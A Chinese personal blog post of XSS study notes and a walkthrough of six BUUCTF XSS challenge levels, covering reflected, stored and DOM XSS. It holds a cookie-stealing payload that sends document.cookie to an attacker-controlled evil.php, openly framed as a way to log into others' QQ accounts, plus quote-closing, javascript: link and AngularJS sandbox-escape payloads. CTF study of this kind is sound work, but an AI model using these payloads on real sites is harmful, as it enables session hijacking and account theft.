xss漏洞学习

学习笔记、思路整理(损版)

用来偷别人cookie的,这样就可以用这个cookie做坏事辽(比如登录qq空间)

笔记

反射型

存储型

DOM XSS

参考教程

首先,还是闭合
其次,是检查有无没有被ban的函数
eg:

1
2
3
4
5
6
7
8
9
10
11
page=<script>alert(document.cookie)</script>   //没啥用,就是弹个窗
page=<script>location.href='http://你自己的网站/evil.php?cookie='+encodeURIComponent(document.cookie)</script>
/*
解释: location.href="恶意地址"; //这句话可以让当前页面(location)的地址(href),跳转到恶意地址
document.cookie //就是当前页面的cookies数据
encodeURIComponent(document.cookie) //就是将cookies数据编码一下(防止cookies中有特殊的符号,导致地址错误)
location.href="恶意地址"+encodeURIComponent(document.cookie) //就是将编码后的数据加在恶意地址之后
*/
然后是闭合,比如已知js代码: var page= "1"; //此处的1是传入的参数page,可替换、闭合
http://xsst.sinapp.com/example/1-2.php?page=";alert(document.cookie);//
http://xsst.sinapp.com/example/1-2.php?page=";alert(document.cookie);
1
2
3
4
5
6
7
8
function $(str){
if(!/^#[^']+"[^"]+"\]/.test(str)){ //额 " < >被过滤
throw "error";
}
}
var page=$('#test a[href="1"]');
var page=$('#test a[href=""]');alert(document.cookie);var a=$('#test a[href="1"]');
"]');alert(document.cookie);var a=$('#test a[href="1

Dom-based的反射型XSS

简单实战: [buuctf web进阶]XSS闯关

第一关

查看源码,发现无任何过滤(源码里没有js代码),输入即可弹窗

1
<script>alert(document.cookie)</script>

第二关

查看源码,username被escape函数过滤过(escape函数: 就是把函数url编码)

1
2
3
4
5
6
7
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '7bmk';
document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
</script>

那要咋闭合捏?<>/()都被转化为url,可以这样构造,产生闭合var username=’’里的’’和后面的</ script>:

1
?username=';alert(document.cookie);//

第三关

查看源码

1
2
3
4
5
6
7
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = 'xss';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>

这不和上一关没区别吗,相同payload试试,发现引号被过滤了:

1
2
3
4
5
6
7
<script type="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
var username = '\';alert(document.cookie);//';
document.getElementById('ccc').innerHTML= "Welcome " + username;
</script>

但是,这个只过滤了1个引号,而不是在所有的引号前加...这我就匪夷所思啊,谁在做网站防护时会这么防…. 还只转义1个引号不转义其他的…

1
username='';alert(1);//

第四关(伪链接)

页面每10s重定向1次,通过禁用js停止跳转,然后查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<script type="text/javascript">
var time = 10;
var jumpUrl;
if(getQueryVariable('jumpUrl') == false){ //getQueryVariable()用于获取url参数
jumpUrl = location.href;
}else{
jumpUrl = getQueryVariable('jumpUrl');
}
setTimeout(jump,1000,time);
function jump(time){
if(time == 0){
location.href = jumpUrl;
}else{
time = time - 1 ;
document.getElementById('ccc').innerHTML= `页面${time}秒后将会重定向到${escape(jumpUrl)}`;
setTimeout(jump,1000,time);
}
}
function getQueryVariable(variable){
var query = window.location.search.substring(1);
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
<script>

这关的知识点是伪链接:
javascript:alert(1),浏览器会把javascript后面的那一段内容当做代码,直接在当前页面执行。
于是payload:

1
jumpUrl=javascript:alert(1);

困惑: 我怎么知道get传的参是jumpUrl呢? 当然是通过getQueryVariable(): getQueryVariable()用于获取url参数

第五关

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<script type="text/javascript">
if(getQueryVariable('autosubmit') !== false){ //参数autosubmit必须要有,且要经过getQueryVariable的过滤
var autoForm = document.getElementById('autoForm'); //啊...类似字典吧,id是html的标签的标志....还是滚去学html吧
autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');//还是看wp吧...这说明,先学完技巧后,还要学基础
autoForm.submit();
}
else{}
function getQueryVariable(variable){
var query = window.location.search.substring(1); //获得当前页面get请求的指定参数(?后的部分,为1字符串)
var vars = query.split("&");
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split("=");
if(pair[0] == variable){return pair[1];}
}
return(false);
}
<script>

不难,审就完事了(所以里面的POST压根毫无关系就是来混淆的是吗…)

1
?autosubmit=1&action=javascript:alert(1);

第六关(angular沙箱逃逸)

1
2
3
4
5
<script text="text/javascript">
if(location.search == ""){
location.search = "?username=xss"
}
</script>

嗯….这关的过滤没有在源代码里写,然后显示的方式是在html里而8是js,所以没法执行alert…个p
搜索script关键字,发现有个main.js文件

1
2
3
4
5
6
7
_alert = alert;
alert = function(info){
_alert("过关成功!进入下一关!");
var current_level = location.pathname.match(/level([0-9]+)/)[1];//额。。。。匹配到的第一个
var next_level = parseInt(current_level) + 1;
location.href = "/level" + next_level;
}

然后看球不懂,实际上这玩意也没啥卵用…

实际上突破点在源码里的另一处链接: https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
是一个angular 1.4.6框架

参考: angular 1.6沙箱逃逸

参考链接
angular是1个前端框架,在Angular1.6以前的版本,有很多绕过方式,而在这之后的版本,沙箱已被删除,为此也就8存在沙箱逃逸了

验证

对于angular 1.6以下的版本,输入20,若返回的结果为20,则存在漏洞

逃逸

payload:

1
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

其中的alert(1)可被其他payload替换


xss漏洞学习
https://bl4zygao.github.io/2022/07/07/xss漏洞学习/
Author
bl4zy
Posted on
July 7, 2022
Licensed under